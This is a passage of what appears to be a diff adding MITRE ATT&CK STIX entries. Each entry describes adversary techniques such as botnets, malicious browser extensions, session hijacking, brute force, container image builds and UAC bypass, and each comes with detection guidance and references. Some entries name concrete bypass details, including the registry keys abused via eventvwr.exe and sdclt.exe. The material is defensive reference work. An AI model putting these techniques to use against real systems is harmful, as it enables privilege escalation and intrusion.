Service Bazaar. Retrieved May 15, 2017.", + "source_name": "Krebs-Bazaar" + }, + { + "url": "https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/", + "description": "Brian Krebs. (2016, October 27). Are the Days of \u201cBooter\u201d Services Numbered?. Retrieved May 15, 2017.", + "source_name": "Krebs-Booter" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Botnet", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:01:00.271Z", + "created": "2020-10-01T00:58:35.269Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3", + "description": "Adversaries may compromise numerous third-party systems to form a botnet\u00a0that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service(Citation: Imperva DDoS for Hire), adversaries may build their own botnet by compromising numerous third-party systems. Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1584/005", + "external_id": "T1584.005", + "source_name": "mitre-attack" + }, + { + "url": "https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html", + "description": "Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020.", + "source_name": "Norton Botnet" + }, + { + "url": "https://www.imperva.com/learn/ddos/booters-stressers-ddosers/", + "description": "Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020.", + "source_name": "Imperva DDoS for Hire" + }, + { + "url": "https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019.", + "source_name": "Dell Dridex Oct 2015" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Browser Bookmark Discovery", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "File: File Access" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-26T16:06:07.367Z", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "id": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.\n\nBrowser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.", + "x_mitre_contributors": [ + "Mike Kemmerer" + ], + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1217", + "external_id": "T1217", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Browser Extensions", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "Network Traffic: Network Connection Creation", + "Windows Registry: Windows Registry Key Creation", + "File: File Creation" + ], + "x_mitre_version": "1.2", + "modified": "2021-04-27T19:56:54.161Z", + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background,(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence.\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)", + "x_mitre_contributors": [ + "Chris Ross @xorrior", + "Justin Warner, ICEBRG" + ], + "x_mitre_detection": "Inventory and monitor browser extension installations that deviate from normal, expected, and benign extensions. Process and network monitoring can be used to detect browsers communicating with a C2 server. However, this may prove to be a difficult way of initially detecting a malicious extension depending on the nature and volume of the traffic it generates.\n\nMonitor for any new items written to the Registry or PE files written to disk. That may correlate with browser extension installation.\n\nOn macOS, monitor the command line for usage of the profiles tool, such as profiles install -type=configuration. Additionally, all installed extensions maintain a plist file in the /Library/Managed Preferences/username/ directory. Ensure all listed files are in alignment with approved extensions.(Citation: xorrior chrome extensions macOS)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1176", + "external_id": "T1176", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia Browser Extension", + "description": "Wikipedia. (2017, October 8). Browser Extension. Retrieved January 11, 2018.", + "url": "https://en.wikipedia.org/wiki/Browser_extension" + }, + { + "source_name": "Chrome Extensions Definition", + "description": "Chrome. (n.d.). What are Extensions?. Retrieved November 16, 2017.", + "url": "https://developer.chrome.com/extensions" + }, + { + "source_name": "Malicious Chrome Extension Numbers", + "description": "Jagpal, N., et al. (2015, August). Trends and Lessons from Three Years Fighting Malicious Extensions. Retrieved November 17, 2017.", + "url": "https://static.googleusercontent.com/media/research.google.com/en//pubs/archive/43824.pdf" + }, + { + "url": "https://www.xorrior.com/No-Place-Like-Chrome/", + "description": "Chris Ross. (2019, February 8). No Place Like Chrome. Retrieved April 27, 2021.", + "source_name": "xorrior chrome extensions macOS" + }, + { + "source_name": "Chrome Extension Crypto Miner", + "description": "Brinkmann, M. (2017, September 19). First Chrome extension with JavaScript Crypto Miner detected. Retrieved November 16, 2017.", + "url": "https://www.ghacks.net/2017/09/19/first-chrome-extension-with-javascript-crypto-miner-detected/" + }, + { + "source_name": "ICEBRG Chrome Extensions", + "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.", + "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses" + }, + { + "source_name": "Banker Google Chrome Extension Steals Creds", + "description": "Marinho, R. (n.d.). (Banker(GoogleChromeExtension)).targeting. Retrieved November 18, 2017.", + "url": "https://isc.sans.edu/forums/diary/BankerGoogleChromeExtensiontargetingBrazil/22722/" + }, + { + "source_name": "Catch All Chrome Extension", + "description": "Marinho, R. (n.d.). \"Catch-All\" Google Chrome Malicious Extension Steals All Posted Data. Retrieved November 16, 2017.", + "url": "https://isc.sans.edu/forums/diary/CatchAll+Google+Chrome+Malicious+Extension+Steals+All+Posted+Data/22976/https:/threatpost.com/malicious-chrome-extension-steals-data-posted-to-any-website/128680/)" + }, + { + "source_name": "Stantinko Botnet", + "description": "Vachon, F., Faou, M. (2017, July 20). Stantinko: A massive adware campaign operating covertly since 2012. Retrieved November 16, 2017.", + "url": "https://www.welivesecurity.com/2017/07/20/stantinko-massive-adware-campaign-operating-covertly-since-2012/" + }, + { + "source_name": "Chrome Extension C2 Malware", + "description": "Kjaer, M. (2016, July 18). Malware in the browser: how you might get hacked by a Chrome extension. Retrieved November 22, 2017.", + "url": "https://kjaer.io/extension-malware/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Browser Session Hijacking", + "x_mitre_data_sources": [ + "Process: Process Modification", + "Process: Process Access", + "Logon Session: Logon Session Creation" + ], + "x_mitre_version": "2.0", + "modified": "2021-10-18T12:11:16.808Z", + "created": "2018-01-16T16:13:52.465Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "id": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights.\n\nAnother example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)", + "x_mitre_contributors": [ + "Justin Warner, ICEBRG" + ], + "x_mitre_detection": "This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1185", + "external_id": "T1185", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia Man in the Browser", + "description": "Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.", + "url": "https://en.wikipedia.org/wiki/Man-in-the-browser" + }, + { + "source_name": "Cobalt Strike Browser Pivot", + "description": "Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.", + "url": "https://www.cobaltstrike.com/help-browser-pivoting" + }, + { + "source_name": "ICEBRG Chrome Extensions", + "description": "De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.", + "url": "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses" + }, + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Brute Force", + "x_mitre_data_sources": [ + "Command: Command Execution", + "User Account: User Account Authentication", + "Application Log: Application Log Content" + ], + "x_mitre_version": "2.3", + "modified": "2021-09-30T19:18:16.672Z", + "created": "2017-05-31T21:31:22.767Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace", + "Containers" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may use brute force techniques to gain access to accounts when passwords are unknown or when password hashes are obtained. Without knowledge of the password for an account or set of accounts, an adversary may systematically guess the password using a repetitive or iterative mechanism. Brute forcing passwords can take place via interaction with a service that will check the validity of those credentials or offline against previously acquired credential data, such as password hashes.\n\nBrute forcing credentials may take place at various points during a breach. For example, adversaries may attempt to brute force access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) within a victim environment leveraging knowledge gathered from other post-compromise behaviors such as [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), [Account Discovery](https://attack.mitre.org/techniques/T1087), or [Password Policy Discovery](https://attack.mitre.org/techniques/T1201). Adversaries may also combine brute forcing activity with behaviors such as [External Remote Services](https://attack.mitre.org/techniques/T1133) as part of Initial Access.", + "x_mitre_contributors": [ + "David Fiser, @anu4is, Trend Micro", + "Alfredo Oliveira, Trend Micro", + "Magno Logan, @magnologan, Trend Micro", + "Yossi Weizman, Azure Defender Research Team", + "Ed Williams, Trustwave, SpiderLabs" + ], + "x_mitre_detection": "Monitor authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If authentication failures are high, then there may be a brute force attempt to gain access to a system using legitimate credentials. Also monitor for many failed authentication attempts across various accounts that may result from password spraying attempts. It is difficult to detect when hashes are cracked, since this is generally done outside the scope of the target network.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1110", + "external_id": "T1110", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/49.html", + "external_id": "CAPEC-49", + "source_name": "capec" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Build Image on Host", + "x_mitre_data_sources": [ + "Image: Image Creation", + "Network Traffic: Network Connection Creation", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-08-26T16:45:04.924Z", + "created": "2021-03-30T17:54:03.944Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--800f9819-7007-4540-a520-40e655876800", + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "root" + ], + "description": "Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. A remote build request may be sent to the Docker API that includes a Dockerfile that pulls a vanilla base image, such as alpine, from a public or local registry and then builds a custom image upon it.(Citation: Docker Build Image)\n\nAn adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize [Deploy Container](https://attack.mitre.org/techniques/T1610) using that custom image.(Citation: Aqua Build Images on Hosts)(Citation: Aqua Security Cloud Native Threat Report June 2021) If the base image is pulled from a public registry, defenses will likely not detect the image as malicious since it\u2019s a vanilla image. If the base image already resides in a local registry, the pull may be considered even less suspicious since the image is already in the environment. ", + "x_mitre_contributors": [ + "Assaf Morag, @MoragAssaf, Team Nautilus Aqua Security", + "Roi Kol, @roykol1, Team Nautilus Aqua Security", + "Michael Katchinskiy, @michael64194968, Team Nautilus Aqua Security", + "Vishwas Manral, McAfee" + ], + "x_mitre_detection": "Monitor for unexpected Docker image build requests to the Docker daemon on hosts in the environment. Additionally monitor for subsequent network communication with anomalous IPs that have never been seen before in the environment that indicate the download of malicious code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1612", + "external_id": "T1612", + "source_name": "mitre-attack" + }, + { + "url": "https://docs.docker.com/engine/api/v1.41/#operation/ImageBuild", + "description": "Docker. ( null). Docker Engine API v1.41 Reference - Build an Image. Retrieved March 30, 2021.", + "source_name": "Docker Build Image" + }, + { + "url": "https://blog.aquasec.com/malicious-container-image-docker-container-host", + "description": "Assaf Morag. (2020, July 15). Threat Alert: Attackers Building Malicious Images on Your Hosts. Retrieved March 29, 2021.", + "source_name": "Aqua Build Images on Hosts" + }, + { + "url": "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation", + "description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021.", + "source_name": "Aqua Security Cloud Native Threat Report June 2021" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Business Relationships", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:36:58.964Z", + "created": "2020-10-02T16:27:55.713Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f", + "description": "Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization\u2019s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1591/002", + "external_id": "T1591.002", + "source_name": "mitre-attack" + }, + { + "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/", + "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.", + "source_name": "ThreatPost Broadvoice Leak" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-05T20:08:32.863Z", + "name": "Bypass User Account Control", + "created": "2017-05-31T21:31:07.462Z", + "id": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1088", + "external_id": "T1088", + "source_name": "mitre-attack" + }, + { + "source_name": "TechNet How UAC Works", + "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works" + }, + { + "source_name": "TechNet Inside UAC", + "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.", + "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx" + }, + { + "source_name": "MSDN COM Elevation", + "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx" + }, + { + "source_name": "Davidson Windows", + "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.", + "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html" + }, + { + "source_name": "Github UACMe", + "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.", + "url": "https://github.com/hfiref0x/UACME" + }, + { + "source_name": "enigma0x3 Fileless UAC Bypass", + "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.", + "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/" + }, + { + "source_name": "Fortinet Fareit", + "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.", + "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware" + }, + { + "source_name": "SANS UAC Bypass", + "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.", + "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass" + }, + { + "source_name": "enigma0x3 sdclt app paths", + "description": "Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017.", + "url": "https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/" + }, + { + "source_name": "enigma0x3 sdclt bypass", + "description": "Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017.", + "url": "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-07-22T21:36:52.458Z", + "name": "Bypass User Account Control", + "x_mitre_data_sources": [ + "Process: Process Metadata", + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution" + ], + "x_mitre_version": "2.0", + "created": "2020-01-30T14:24:34.977Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073", + "x_mitre_defense_bypassed": [ + "Windows User Account Control" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "description": "Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* eventvwr.exe can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Stefan Kanthak", + "Casey Smith" + ], + "x_mitre_effective_permissions": [ + "Administrator" + ], + "x_mitre_detection": "There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The eventvwr.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\n\n* The sdclt.exe bypass uses the [HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe and [HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1548/002", + "external_id": "T1548.002", + "source_name": "mitre-attack" + }, + { + "source_name": "TechNet How UAC Works", + "description": "Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016.", + "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works" + }, + { + "source_name": "TechNet Inside UAC", + "description": "Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016.", + "url": "https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx" + }, + { + "source_name": "MSDN COM Elevation", + "description": "Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/ms679687.aspx" + }, + { + "source_name": "Davidson Windows", + "description": "Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014.", + "url": "http://www.pretentiousname.com/misc/win7_uac_whitelist2.html" + }, + { + "source_name": "Github UACMe", + "description": "UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016.", + "url": "https://github.com/hfiref0x/UACME" + }, + { + "source_name": "enigma0x3 Fileless UAC Bypass", + "description": "Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016.", + "url": "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/" + }, + { + "source_name": "Fortinet Fareit", + "description": "Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016.", + "url": "https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware" + }, + { + "source_name": "SANS UAC Bypass", + "description": "Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016.", + "url": "http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass" + 